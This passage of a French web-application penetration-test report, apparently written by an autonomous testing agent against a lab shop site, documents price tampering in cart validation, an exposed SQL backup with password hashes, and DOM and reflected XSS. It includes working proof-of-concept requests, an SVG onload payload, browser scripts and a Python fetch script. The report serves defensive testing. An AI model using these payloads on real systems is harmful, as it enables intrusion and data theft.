"path", "required": true, "schema": {"type": "integer"}}], "responses": {"200": {"description": "Commande"}}}}, "/adresses/{id}": {"get": {"summary": "Adresse de livraison", "security": [{"bearer": []}], "parameters": [{"name": "id", "in": "path", "required": true, "schema": {"type": "integer"}}], "responses": {"200": {"description": "Adresse"}}}}, "/produits": {"get": {"summary": "Catalogue", "responses": {"200": {"description": "Produits"}}}}, "/produits/{id}": {"get": {"summary": "Produit", "parameters": [{"name": "id", "in": "path", "required": true, "schema": {"type": "integer"}}], "responses": {"200": {"description": "Produit"}}}}, "/stock": {"get": {"summary": "Disponibilite temps reel", "parameters": [{"name": "sku", "in": "query", "required": true, "schema": {"type": "string"}}], "responses": {"200": {"description": "{sku, en_stock}"}}}}, "/apercu": {"get": {"summary": "Apercu d'un lien joint a un ticket", "parameters": [{"name": "url", "in": "query", "required": true, "schema": {"type": "string", "format": "uri"}}], "responses": {"200": {"description": "Titre et extrait"}}}}, "/import-commandes": {"post": {"summary": "Import ERP historique (XML)", "security": [{"bearer": []}], "requestBody": {"content": {"application/xml": {"schema": {"type": "string", "example": "<commandes><commande><reference>REF-1</reference><quantite>2</quantite></commande></commandes>"}}}}, "responses": {"200": {"description": "Commandes importees"}}}}, "/panier/valider": {"post": {"summary": "Valider le panier", "security": [{"bearer": []}], "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"lignes": {"type": "array", "items": {"type": "object", "properties": {"sku": {"type": "string"}, "quantite": {"type": "integer"}}}}, "code_promo": {"type": "string"}}}}}}, "responses": {"200": {"description": "Total"}}}}, "/mot-de-passe/reinitialisation": {"post": {"summary": "Demander un lien de reinitialisation", "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"email": {"type": "string"}}}}}}, "responses": {"200": {"description": "Toujours 200"}}}}, "/mot-de-passe/confirmer": {"post": {"summary": "Confirmer la reinitialisation", "requestBody": {"content": {"application/json": {"schema": {"type": "object", "properties": {"email": {"type": "string"}, "jeton": {"type": "string"}, "nouveau_mot_de_passe": {"type": "string"}}}}}}, "responses": {"200": {"description": "OK"}}}}, "/admin/utilisateurs": {"get": {"summary": "Export des utilisateurs (administration)", "security": [{"bearer": []}, {"apiKey": [REDACTED]]}], "responses": {"200": {"description": "Utilisateurs"}, "403": {"description": "Refuse"}}}} } }Request / response
HTTP request
GET /api/v1/produits HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:37:52 GMT Content-Type: application/json; charset=utf-8 Content-Length: 1170 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jqW7tpwWEcSizmHlHat%2B7RbYNfzgUNll49OvSaaK8e5Gi5Q3PXe5%2BQa9LQypr3NQIGko7P63wjEOoW8Iiev4THVM6X68vTLCHknvZi7hIBoKUXpDJzTFUR4CW95ttxhD5ErN8YXGct6%2F"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b1f78c1e0b9f-FRA alt-svc: h3=":443"; ma=86400 { "produits": [ { "id": 1, "sku": "PAP-A4-500", "nom": "Ramette papier A4 80g (500 f.)", "categorie": "papeterie", "prix": 5.9 }, { "id": 2, "sku": "PAP-ENV-C5", "nom": "Enveloppes C5 x100", "categorie": "papeterie", "prix": 8.4 }, { "id": 3, "sku": "MOB-CHA-ERG", "nom": "Chaise ergonomique Opale", "categorie": "mobilier", "prix": 189.0 }, { "id": 4, "sku": "MOB-BUR-140", "nom": "Bureau droit 140 cm", "categorie": "mobilier", "prix": 245.0 }, { "id": 5, "sku": "INF-SOU-USB", "nom": "Souris filaire USB", "categorie": "informatique", "prix": 9.9 }, { "id": 6, "sku": "INF-CLA-AZE", "nom": "Clavier AZERTY silencieux", "categorie": "informatique", "prix": 24.5 }, { "id": 7, "sku": "INF-ECR-27", "nom": "Ecran 27 pouces QHD", "categorie": "informatique", "prix": 279.0 }, { "id": 8, "sku": "ENT-GEL-500", "nom": "Gel hydroalcoolique 500 ml", "categorie": "entretien", "prix": 4.2 }, { "id": 9, "sku": "ENT-ESS-6", "nom": "Essuie-tout industriel x6", "categorie": "entretien", "prix": 17.8 } ] }Request / response
HTTP request
GET /api/v1/commandes HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Cookie: [REDACTED]
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:38:05 GMT Content-Type: application/json; charset=utf-8 Content-Length: 20 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2BQiV9upqNWfAO9cg9aDcYwGPxhRZm5VUVNSd7mn9acxV3jINO95vGxzGSNxDX2refZemfCv1oUsC7VJvdl2zaYXtVCc2Lzu4kG0JUTVxVhB21b85LXMcWzXld3jEwj7%2F3M8LqHqTNTn3"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b2480f3a86e3-FRA alt-svc: h3=":443"; ma=86400 { "commandes": [] }Request / response
HTTP request
POST /api/v1/panier/valider HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Cookie: [REDACTED] Content-Type: application/json Content-Length: 55 {"lignes":[{"sku":"PAP-A4-500","quantite":1,"prix":0}]}HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:38:05 GMT Content-Type: application/json; charset=utf-8 Content-Length: 117 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=PZ8XZg2Uk1uXcwaro0c3eae0Qil9bTWuPxMwoHWagqSdNKT2Likil1moXZsBjwIOxOmPlMsTBIQQlBH%2Bmm3RRWvT%2BxGvJZ3aupk8YD6G%2FO%2BpLmsuObcGno9xsFYKhEhBUHmlAY0eBgWI"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b2477b0bc8bb-FRA alt-svc: h3=":443"; ma=86400 { "total_ht": 0.0, "statut": "validee", "message": "Commande validee sans paiement. NOVA{free_order-058e4a7639}" }This evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
11. Sauvegarde SQL contenant des comptes accessible sans authentification dans
/backup/https://app.nordvault.fr/backup/nova-2024-03.sql.bak
- CVSS 3.1 score
- 5.3
- Weakness (CWE)
- CWE-552
- OWASP category
- A01 · Broken Access Control
Description
Le fichier
/backup/nova-2024-03.sql.bakest téléchargeable sans session depuis un index public. Il expose la structure de la tableuserset cinq enregistrements comportant notamment des adresses électroniques, des empreintes de mots de passe et des rôles.Impact
Un visiteur non authentifié peut consulter les champs
email,password_hashetrolede cinq enregistrements de comptes, dont les rôlesadmin,staffetclient. Les valeurs ne sont pas reproduites ; leur appartenance à de vraies personnes et l'utilisabilité des empreintes n'ont pas été établies. Aucun accès à un compte ni aucune modification n'ont été démontrés.Technical analysis
L'index
GET /backup/répond200 OKet publie un lien direct versnova-2024-03.sql.bak. Une requête sansCookieniAuthorization, portantRange: bytes=0-255, reçoit200 OKet non une réponse partielle : le serveur transmet le fichier entier (Content-Length: 878,Content-Type: application/octet-stream). Le contenu est une sauvegarde SQL avec définition de la tableusers, colonnesemail,password_hashetrole, et cinq instructionsINSERT INTO users. La vérification s'est arrêtée à la constatation de ces champs et au dénombrement ; aucune empreinte n'a été utilisée.Remediation
1. Retirer immédiatement les fichiers de sauvegarde de la racine servie publiquement et désactiver l'indexation du répertoire
/backup/. 2. Stocker les sauvegardes dans un emplacement privé avec contrôle d'accès serveur, puis vérifier que le fichier et ses variantes ne sont plus accessibles sans authentification. 3. Vérifier l'origine et la validité des données exposées ; si les empreintes concernent des comptes actifs, appliquer le plan de réponse aux incidents et renouveler les secrets concernés.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Validation assumptions
L'attaque ne nécessite aucun compte. La qualification de confidentialité porte uniquement sur les cinq lignes observées ; ni la validité des empreintes ni la réalité des identités ne sont présumées.
Confidence declared by the agent
HighCounterevidence examined
Quatre des cinq adresses utilisent des domaines réservés aux exemples, ce qui peut indiquer un jeu de démonstration ; la cinquième n'établit pas à elle seule une identité réelle. Aucun essai d'authentification ni de déchiffrement des empreintes n'a été réalisé. Ces limites réduisent la portée démontrée, mais ne suppriment pas l'accès public aux enregistrements et aux empreintes de la sauvegarde.
Evidence
Request / response
HTTP request
GET /backup/ HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:34:45 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Oevb8dZQNufvPunkgM4QMdRflytsBxs9gMxi%2B4%2BHD79egIH3rOnT2zA7B1d6LW3roQgJEhyxHZXNgZe20M90aOePFAnPlo6LHm9CZNY%2B5VAa4O36CubT5X2Y2aPKFwLIElUvy4mjoqSy"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491ad68fb0f39eb-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 1067 <html><body><h1>Index of /backup/</h1><a href="nova-2024-03.sql.bak">nova-2024-03.sql.bak</a> 02-Mar-2024 02:00 18K<script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491ad68fb0f39eb',t:'MTc5MTc2MTY4NQ=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
GET /backup/nova-2024-03.sql.bak HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */* Range: bytes=0-255
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:35:25 GMT Content-Type: application/octet-stream Content-Length: 878 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=sri9iJ5RHIFsKNQSX0NsCKP31%2BHdxA1ut5XjOPE0ySH0lDsfY9MVAOVT7sQ8MUsqTqsQyyMqJrkZPJR3uMWTfIUnpKWHRrpdN%2BqmJ0gY7gzZRCjBbfTlEhkUwTw1CM8eMPPu6Kmi%2BGfF"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491ae600ec07185-FRA alt-svc: h3=":443"; ma=86400 -- Nordvault nightly backup 2024-03-02 02:00 -- pg_dump 15.5 (compat export) CREATE TABLE users (id int, email text, password_hash text, role text); INSERT INTO users VALUES (1, 'admin@nova-fournitures.test', 'eb650debb31a8ad5d488707b539de86110467cce0b2070c60cdbbece55e7fc0c', 'admin'); INSERT INTO users VALUES (2, 'comptabilite@nova-fournitures.test', '9358c7164dd8fb6ea582ca5bd8dc6657f4c6496f2314d200c61272b0031599e0', 'staff'); INSERT INTO users VALUES (3, 'achats@boulangerie-martin.test', 'b41c4ed5aeddb9a09df5411238f630323f96a8db86d9d2ee415da6d98ca2247d', 'client'); INSERT INTO users VALUES (4, 'contact@cabinet-durand.test', '28e4b5da3275fe0ce9aaa8eaea6fb941665c741f87c7d19e5e0a7a0e78a7990e', 'client'); INSERT INTO users VALUES (5, 'demo@client-test.fr', '757a5e1ef073a77d0243612e47e8a03d1932e392fb21f9d840f170e7a6ec6d16', 'client'); -- NOVA{backup-a47b60862c}Exploit artifact
Reproduction
1. Envoyer une requête non authentifiée à
/backup/et constater la présence du lien vers le fichier de sauvegarde. 2. Envoyer une requête non authentifiée à/backup/nova-2024-03.sql.bakavec l'en-têteRange: bytes=0-255. 3. Vérifier la réponse200 OK, la longueur878et la présence des colonnes sensibles et de cinq insertions dans la tableusers, sans afficher les valeurs des enregistrements.Exploit artifact
text/x-shellscript import re import requests base = "https://app.nordvault.fr" listing = requests.get(base + "/backup/", timeout=10) assert listing.status_code == 200 assert 'href="nova-2024-03.sql.bak"' in listing.text response = requests.get( base + "/backup/nova-2024-03.sql.bak", headers={"Range": "bytes=0-255"}, timeout=10, ) assert response.status_code == 200 assert response.headers["Content-Type"].startswith("application/octet-stream") assert response.headers["Content-Length"] == "878" body = response.content.decode("utf-8", errors="replace") assert re.search(r"\bCREATE\s+TABLE\s+users\b", body, re.I) assert all(re.search(r"\b" + column + r"\b", body, re.I) for column in ("email", "password_hash", "role")) assert len(re.findall(r"\bINSERT\s+INTO\s+users\b", body, re.I)) == 5 print("HTTP 200 ; sauvegarde SQL de 878 octets ; table users et 5 insertions détectées ; valeurs non affichées")This evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
12. XSS DOM dans le fragment d’URL de
/aidehttps://app.nordvault.fr/aide
- CVSS 3.1 score
- 4.3
- Weakness (CWE)
- CWE-79
- OWASP category
- A03 · Injection
Description
La page publique
/aideinsère le fragment d’URL décodé directement dansinnerHTML. Un lien spécialement construit exécute ainsi du JavaScript dans le navigateur du visiteur qui l’ouvre.Impact
La preuve démontre l’exécution d’un gestionnaire JavaScript dans l’origine de l’application et la modification non autorisée du titre de la page affichée au visiteur. L’accès à une session, à des données privées ou à une opération serveur n’a pas été testé ni démontré.
Technical analysis
La réponse
GET /aidecontient<section id="aide-section">et charge/static/app.js. Dans ce script public, la ligne suivante convertit directement un fragment contrôlé par l’auteur d’un lien en HTML actif :var s=document.getElementById('aide-section');if(s&&location.hash.length>1){s.innerHTML=decodeURIComponent(location.hash.slice(1));}Le fragment
#reste local au navigateur : le serveur reçoitGET /aide, sans le contenu malveillant, puis le navigateur décode le fragment et crée l’élémentsvgmuni deonload. La réponse HTML observée ne définit pas d’en-têteContent-Security-Policy. Le chargement initial de/aideou son rafraîchissement déclenche le traitement ; changer seulement le fragment dans une page déjà chargée n’est pas une reproduction fiable, car le code ne comporte pas de gestionnairehashchange.Remediation
1. Ne jamais transmettre le fragment décodé directement à
innerHTML; rendre une valeur textuelle avectextContentou résoudre les rubriques d’aide à partir d’une liste fermée d’identifiants autorisés. 2. Si un contenu enrichi est indispensable, appliquer un assainissement HTML explicitement adapté avant l’insertion, puis vérifier ses cas SVG et événements. 3. Ajouter une politique de sécurité du contenu restrictive en défense complémentaire et tester un chargement initial de/aideavec un fragment hostile.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Validation assumptions
Un visiteur doit ouvrir un lien vers la page publique contenant le fragment forgé, ou recharger cette URL. Aucun compte n’est nécessaire pour accéder à
/aide.Confidence declared by the agent
HighCounterevidence examined
La réponse HTTP ne reflète pas le fragment : une inspection limitée au HTML servi ne suffit donc pas à conclure à une injection serveur. Le script public charge toutefois ce fragment dans
innerHTML, et l’exécution a été comparée à un fragment ordinaire dans Chromium. Aucun en-têteContent-Security-Policyn’a été observé surGET /aide. L’exécution démontrée se limite à modifier le titre de la page ; aucun accès à un secret ni modification côté serveur n’est prouvé.Evidence
Exploit artifact
Reproduction
1. Ouvrir la page d’accueil publique, puis naviguer vers
/aide#texte%20simple; constater que le titre resteAide - Nordvaultet que#aide-sectioncontient du texte ordinaire. 2. Revenir à la page d’accueil, puis ouvrir le lien de démonstration comportant le fragment HTML encodé indiqué dans le script de reproduction. 3. Constater quedocument.titlevaut désormais1et que#aide-sectioncontient un élémentsvgavec son attributonload; ce changement prouve l’exécution JavaScript dans la page.Exploit artifact
text/x-shellscript agent-browser --session aide-poc open 'https://app.nordvault.fr/' agent-browser --session aide-poc open 'https://app.nordvault.fr/aide#texte%20simple' agent-browser --session aide-poc eval 'JSON.stringify({title:document.title,html:document.querySelector("#aide-section").innerHTML})' agent-browser --session aide-poc open 'https://app.nordvault.fr/' agent-browser --session aide-poc open 'https://app.nordvault.fr/aide#%3Csvg%20onload%3D%22document.title%3D%271%27%22%3E%3C%2Fsvg%3E' agent-browser --session aide-poc eval 'JSON.stringify({title:document.title,html:document.querySelector("#aide-section").innerHTML})' agent-browser --session aide-poc closeThis evidence comes from the autonomous testing agent and has not been independently replayed.
Medium
13. XSS réfléchie dans le paramètre
qde/recherchehttps://app.nordvault.fr/recherche
- CVSS 3.1 score
- 4.7
- Weakness (CWE)
- CWE-79
- OWASP category
- A03 · Injection
Description
La page publique
/rechercheréinsère le paramètreqsans encodage HTML dans sa réponse. Un lien construit par un attaquant exécute du JavaScript dans le navigateur du visiteur.Impact
La visite d’un lien malveillant provoque l’exécution de JavaScript dans le contexte de la page et permet de modifier son titre, effet vérifié par navigateur. Aucune lecture de données privées, récupération de session ou action privilégiée n’a été démontrée.
Technical analysis
La valeur décodée de
qest insérée telle quelle dans le contenu de<h1>et dans l’attributvaluedu formulaire, sans échappement adapté à ces deux contextes. L’élément SVG injecté avec un gestionnaireonloadest alors interprété comme du balisage actif. La réponse200 OKne comporte pas d’en-têteContent-Security-Policy. À titre de comparaison,/catalogue/rechercheencode les chevrons de la même valeur en<et>dans ces deux emplacements.Remediation
1. Appliquer systématiquement l’encodage HTML de
qà l’affichage, y compris pour les chevrons, les esperluettes et les guillemets ; encoder séparément et correctement le contexte du texte et celui d’un attribut entre guillemets. 2. Privilégier un moteur de modèles avec échappement automatique et vérifier les autres rendus de paramètres de recherche. 3. Déployer en défense supplémentaire une politique CSP restrictive bloquant les gestionnaires d’événements intégrés, après compatibilité vérifiée avec les scripts légitimes.Remediation detailsEstimated effort: Low
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
Validation assumptions
L’attaquant doit faire ouvrir un lien forgé à une autre personne ; la route est accessible sans authentification. Aucun accès préalable à un secret ou à un compte n’est nécessaire.
Confidence declared by the agent
HighCounterevidence examined
La route comparable
/catalogue/rechercheéchappe correctement le même paramètre et ne déclenche pas l’exécution, mais ce contrôle ne s’applique pas à/recherche. La réponse de/recherchene présente pas d’en-tête CSP et le gestionnaireonloads’est exécuté dans Chromium. L’impact n’a pas été étendu à la lecture de données privées ou à des opérations sur le compte.Evidence
Request / response
HTTP request
GET /catalogue/recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:44 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=A7y3LA68O3t18FRdmqlshOm9iCiEJZwgFxfEKq0O%2BURBbUONTlCw7PgrXcjq8izgFklZk4FW8wCpcXQkv5cQr2jnQ23XTBIqZp4v7VdNo5f9IKjmGmlZfKGxCvWliAzOY4zi8QP30jbv"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b0505e3dd3c1-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2607 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Filtre catalogue - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Filtre : <svg onload=document.title=1></h1><form action="/catalogue/recherche"><label for="cq">Filtrer</label> <input id="cq" name="q" value="<svg onload=document.title=1>"> <button>Filtrer</button></form><ul></ul></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b0505e3dd3c1',t:'MTc5MTc2MTgwNA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
GET /recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:40 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ny6l0FbA75bz07Xn8GsaYj%2F48e%2BEnyxmWuiFUD8PUJhui4LRyeJD2f%2B%2FdHwgpQQfBlcXB7x5AXK4ZazlIGXMuMN8ZrdWNOeQzqs3PgylECSJY6BG5vgXg8T8nLqRPa%2Bdc9GtFwsJSLMO"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b034296bdbeb-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2610 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Recherche - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Resultats pour <svg onload=document.title=1></h1><form action="/recherche"><label for="q">Rechercher</label> <input id="q" name="q" value="<svg onload=document.title=1>"> <button>Rechercher</button></form><ul><li>Aucun produit</li></ul></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b034296bdbeb',t:'MTc5MTc2MTgwMA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Exploit artifact
Reproduction
1. Ouvrir, sans authentification, l’URL de recherche construite avec la valeur
qindiquée dans le script de reproduction. 2. Constater que le titre de la page devient1, ce qui prouve l’exécution du gestionnaire JavaScript. 3. Ouvrir l’URL de contrôle sur/catalogue/rechercheavec la même valeur et constater que le titre resteFiltre catalogue - Nordvault.Exploit artifact
text/x-shellscript agent-browser --session recherche-xss open 'https://app.nordvault.fr/recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E' agent-browser --session recherche-xss get title agent-browser --session recherche-xss open 'https://app.nordvault.fr/catalogue/recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E' agent-browser --session recherche-xss get title agent-browser --session recherche-xss close
Request / response
HTTP request
GET /catalogue/recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
HTTP/1.1 200 OK Date: Sun, 11 Oct 2026 23:36:40 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-store Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=4Dp2%2FPsErSTjOihBjKr4iE4XK%2F0CMR6rbqZ3vFJXoNjidzlgcUS0UqUvTaRTP4AEkQI9cf4JY%2F757yLJtxupVJAWcZ50j7jw7Xbfvg7Nlwzp601Vv9osWmcnhyM5rMXw2LsYEbvUJgBe"}]} Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a491b034ba51bbe6-FRA alt-svc: h3=":443"; ma=86400 Content-Length: 2607 <!doctype html> <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <title>Filtre catalogue - Nordvault</title> <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style> </head><body> <header><strong><a href="/">Nordvault</a></strong> <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav> <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header> <main><h1>Filtre : <svg onload=document.title=1></h1><form action="/catalogue/recherche"><label for="cq">Filtrer</label> <input id="cq" name="q" value="<svg onload=document.title=1>"> <button>Filtrer</button></form><ul></ul></main> <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a> <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a> <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a> <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer> <script src="/static/app.js"></script> <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b034ba51bbe6',t:'MTc5MTc2MTgwMA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>Request / response
HTTP request
GET /recherche?q=%3Csvg%20onload%3Ddocument.title%3D1%3E HTTP/1.1 Host: app.nordvault.fr User-Agent: curl/8.20.0 Accept: */*
HTTP response
